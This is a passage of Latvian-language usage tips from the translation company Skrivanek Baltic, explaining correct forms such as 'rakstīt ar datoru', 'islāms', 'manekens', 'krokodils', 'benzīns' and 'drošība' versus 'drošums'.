citus apģērbus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai dokumentus rakstīsim ar datoru vai uz datora? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2024-08-15 - URL: https://skrivanek.lv/rakstit-uz-datora-pret-rakstit-ar-datoru/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RAKSTĪT UZ DATORA PRET RAKSTĪT AR DATORU 1 Vai dokumentus rakstīsim ar datoru vai uz datora? Teksts rokrakstā tiek rakstīts ar roku, teksts mašīnrakstā – ar rakstāmmašīnu, savukārt teksts datorrakstā tiek rakstīts ar datoru. Konstrukcija „rakstīt uz datora” latviešu valodā, visticamāk, tik bieži lietota divēju iemeslu dēļ. Tā aizgūta no atbilstošās krievu valodas konstrukcijas „написать на компьютере”, turklāt liek apjukt arī teksta tapšanas process – rakstot ar pildspalvu, tā tiek ņemta rokā, nevis, piemēram, tiek spiesti taustiņi uz tās. Tātad ar datoru rakstīsim dokumentus, ar datoru rakstīsim kursadarbus utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šobrīd Eiropā kūsā runas par bēgļiem un viņu reliģisko piederību – kā pareizi rakstīsim šīs reliģijas nosaukumu: islams vai islāms? Uzzini! - Published: 2019-11-21 - Modified: 2024-09-23 - URL: https://skrivanek.lv/islams/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ISLAMS PRET ISLĀMS 1 Šobrīd Eiropā kūsā runas par bēgļiem un viņu reliģisko piederību – kā pareizi rakstīsim šīs reliģijas nosaukumu: islams vai islāms? Islāms ir viena no izplatītākajām pasaules reliģijām, kuru nodibinājis pravietis Muhameds. Vārds cēlies no arābu vārda „islām”, kas nozīmē ‘padevība’. Tā kā arābu valodā uzsvars šajā vārdā ir uz otrās zilbes, latviešu valodā tas rakstāms ar garo patskani „ā”. Tātad uzzināsim ko jaunu par islāma priekšrakstiem, noskaidrosim islāma raksturīgos rituālus utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā rakstīsim: manikens vai manekens? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2024-08-14 - URL: https://skrivanek.lv/manikens-pret-manekens/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MANIKENS PRET MANEKENS 1 Kā rakstīsim: manikens vai manekens? Cilvēka ķermeņa atveidojumu, piemēram, tērpu demonstrēšanai vai automobiļu testēšanai, sauc par manekenu. Par manekeniem mēdz dēvēt arī modeļus – cilvēkus, kas demonstrē apģērbus. Vārds cēlies no franču vārda „mannequin” un rakstāms ar patskani „e”, nevis „i” otrajā zilbē. Šī bieži sastopamā pareizrakstības kļūda droši vien ieviesusies pirmās zilbes uzsvara dēļ – otrās zilbes patskanis vairs netiek skaidri saklausīts. Tātad skatlogos būs izlikti manekeni, arī medicīnā izmantosim dažādus mācību manekenus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai rakstīsim Ziemas saulgrieži jeb Ziemassvētki vai ziemas saulgrieži jeb ziemassvētki? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2022-12-21 - URL: https://skrivanek.lv/ziemassvetki-pret-ziemas-saulgriezi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ZIEMASSVĒTKI PRET ZIEMAS SAULGRIEŽI 1 Vai rakstīsim Ziemas saulgrieži jeb Ziemassvētki vai ziemas saulgrieži jeb ziemassvētki? Vārds „saulgrieži” apzīmē svētkus, ieražu kopumu, kas saistīts ar noteiktu gada daļu, kā arī Saules stāvokli. Tradicionāli galvenās tradicionālās kalendārās ieražas saistās ar četrām gadalaiku maiņām: tātad ir pavasara, vasaras, rudens un ziemas saulgrieži. Katri saulgrieži apzīmēti ar kādu gadalaiku, tāpēc tie nav rakstāmi ar lielo sākumburtu. Savukārt katriem saulgriežu svētkiem ir savs nosaukums, kurš rakstāms ar lielo sākumburtu – piemēram, tradicionālie vasaras saulgriežu svētki ir Jāņi, savukārt ziemas saulgriežu svētki ir Ziemassvētki. Jāpiebilst, ka Ziemassvētki ir ne vien tradicionālie, proti, pagāniskie, svētki, bet Ziemassvētki vairākās reliģijās ir arī baznīcas svētki. Tātad ziemas saulgriežos svinēsim Ziemassvētkus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai adreses meklējamas adresu vai adrešu grāmatā? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/adresu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ADRESU PRET ADREŠU 1 Vai adreses meklējamas adresu vai adrešu grāmatā? Vārds „adrese” ir 5. deklinācijas lietvārds, kuram daudzskaitļa ģenitīvā notiek līdzskaņu mija līdzīgi kā citiem šīs deklinācijas lietvārdiem, piemēram, krese – krešu, lāse – lāšu. Tātad adreses rakstīsim adrešu grāmatā, mums nepieciešamo adresi varam sameklēt adrešu meklētājā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi sauksim šo rāpuli? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2024-08-26 - URL: https://skrivanek.lv/krokodils-pret-krokodilis-pret-krokodils/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KROKODILS PRET KROKODĪLIS PRET KROKODĪLS 1 Kā pareizi sauksim šo rāpuli? Vārdā „krokodils” ir izskaņa „-ils”, proti, tajā lietojams īss patskanis „i” līdzīgi kā citos svešvārdos, piemēram, „koncils”, „vestibils”. Ja patskanis „i” ir savienojumā ar līdzskani „l” vienā zilbē, tas fonētiski pagarinās, tāpēc mēdzam kļūdīties, izskaņas „-ils” vietā rakstot izskaņu „-īls”. Šī vārda rakstībā tiek pieļauta vēl viena kļūda – galotnes „-s” vietā rakstīta galotne „-is”, iespējams, pēc līdzības ar citiem vārdiem ar izskaņu „-ilis”: „automobilis”, „ventilis”. Arī vārdu „automobilis” mēdz izrunāt ar garu patskani „i”, lai gan tas rakstāms ar īsu. Šis lielais rāpuļu klases dzīvnieks ir krokodils, nevis krokodīls vai krokodīlis. Tātad skatīsimies raidījumus par cilvēkam tik bīstamajiem Nīlas krokodiliem un dosimies apraudzīt krokodilus Rīgas zoodārza tropu mājā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kas ir līmlente un kas – līplente? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/limlente-pret-liplente/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LĪMLENTE PRET LĪPLENTE 1 Kas ir līmlente un kas – līplente? Lenti, kas no vienas puses pārklāta ar līmvielu, sauc par līmlenti. Caurspīdīgu līmlenti sarunvalodā mēdz saukt par skoču. Savukārt līplente ir lente, kurai vienā pusē ir smalki plastmasas āķīši un kuru pārī ar līdzīgi izstrādātu lenti izmanto detaļu sastiprināšanai – piemēram, apģērbam, apaviem, somām. Tātad iepakojumu aizlīmēšanai izmantosim iepakošanas līmlenti, paklāju vai spoguļu piestiprināšanai varam izmantot divpusējo līmlenti. Līplentes aizdare savukārt var būt somai, līplenti var lietot kapuces piestiprināšanai. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi rakstāma Taizemes galvaspilsēta – Bankoka, Bangkoka vai Bangoka? Uzzini! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2024-08-14 - URL: https://skrivanek.lv/bangkoka-pret-bangoka-pret-bankoka/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BANGKOKA PRET BANGOKA PRET BANKOKA 1 Kā pareizi rakstāms Taizemes galvaspilsētas nosaukums – Bankoka, Bangkoka vai Bangoka? Vārds „bang” taju valodā nozīmē ‘ciems, kas atrodas uz straumes’. Bangkokas nosaukums, iespējams, radies, pievienojot vārdam „bang” saīsinātu vārdu „makok” – tā sauc kādu Āzijas dienvidaustrumos izplatītu koku, kura augļi līdzinās olīvām un ir iecienīti Taizemē. Tātad dosimies ceļojumā uz Bangkoku, baudīsim taju virtuvi Bangkokas restorānos utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi sauksim šo degvielas veidu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/bendzins-pret-benzins/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BENDZĪNS PRET BENZĪNS 1 Kā pareizi sauksim šo degvielas veidu? No naftas iegūtu degvielu dēvē par benzīnu. Vārds „benzīns” cēlies no vācu valodas vārda „Benzin”, tāpēc arī latviešu valodā rakstāms ar burtu „z”, nevis burtkopu „dz”. Tātad automobilī ar benzīna dzinēju liesim benzīnu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ar ko atšķiras drošība no drošuma? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/drosiba-pret-drosums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DROŠĪBA PRET DROŠUMS 1 Ar ko atšķiras drošība no drošuma? Drošība ir stāvoklis, apstākļi, kuros nav apdraudējuma un/vai ir vajadzīgā aizsardzība pret iespējamu apdraudējumu. Piemēram, policija gādā par sabiedrisko drošību; ir jāievēro noteikti drošības pasākumi darbā ar indīgām vielām. Drošums savukārt ir īpašība, kas izpaužas kā spēja veikt paredzētos uzdevumus, darboties nebīstami un uzticami, kā arī īpašība būt ticamam, atbilst īstenībai. Piemēram, jāpārliecinās par datu drošumu, lai uz tiem atsauktos (= droši dati), ir zāļu drošums (= drošas zāles), rotaļlietu drošuma prasības (= drošas rotaļlietas) utt. Drošība ir stāvoklis, apstākļi, savukārt drošums – īpašība. Tātad, lai tiktu garantēts lidojuma drošums, ir jāievēro drošības prasības. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Gatavosim saldējuma koktēli vai kokteili? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2024-08-21 - URL: https://skrivanek.lv/koktelis-pret-kokteilis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOKTĒLIS PRET KOKTEILIS 1 Vai gatavosim saldējuma koktēli vai kokteili? Dzērienu, ko gatavo, sajaucot kopā vairākus dzērienus, arī sulu un saldējumu, sauc par kokteili. Vārds aizgūts no angļu vārda „cocktail”, kurš ar nozīmi ‘alkoholisks dzēriens’ pirmo reizi skaidrots ASV 19. gadsimta sākumā. Pirms līdzskaņa „l” vienskaitlī un „ļ” daudzskaitlī atbilstoši angļu valodas vārda izrunai rakstāms divskanis „ei”, nevis patskanis „ē”. Tātad našķēsimies ar saldējuma kokteiļiem, stiprināsim veselību ar kādu zaļo kokteili u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim Rīgas iedzīvotājus – par rīdzeniekiem vai rīdziniekiem? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2024-07-08 - URL: https://skrivanek.lv/ridzinieks-pret-ridzenieks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RĪDZINIEKS PRET RĪDZENIEKS 1 Kā sauksim Rīgas iedzīvotājus – par rīdzeniekiem vai rīdziniekiem? Latviešu valodā pastāv izskaņas „-nieks”, „-niece”, kā vārdos „liepājnieks”, „naidniece”; „-inieks”, „-iniece” – „laivinieks”, „bēriniece”; kā arī „-enieks”, „-eniece”. Pēdējās mūsdienu valodā lieto aizvien retāk, lai apzīmētu kādu nodarbošanos, kā, piemēram, vārdā „bitenieks”, šās izskaņas vēl sastopamas dažos iedzīvotāju nosaukumos – „talsenieki”, „baušķenieki”. Tomēr vērojama tendence veidot atvasinājumus vai nu ar izskaņu „-nieks”, „-niece”, vai „-inieks”, „-iniece” – „limbažnieks”, „mājinieks”, „mucinieks”. 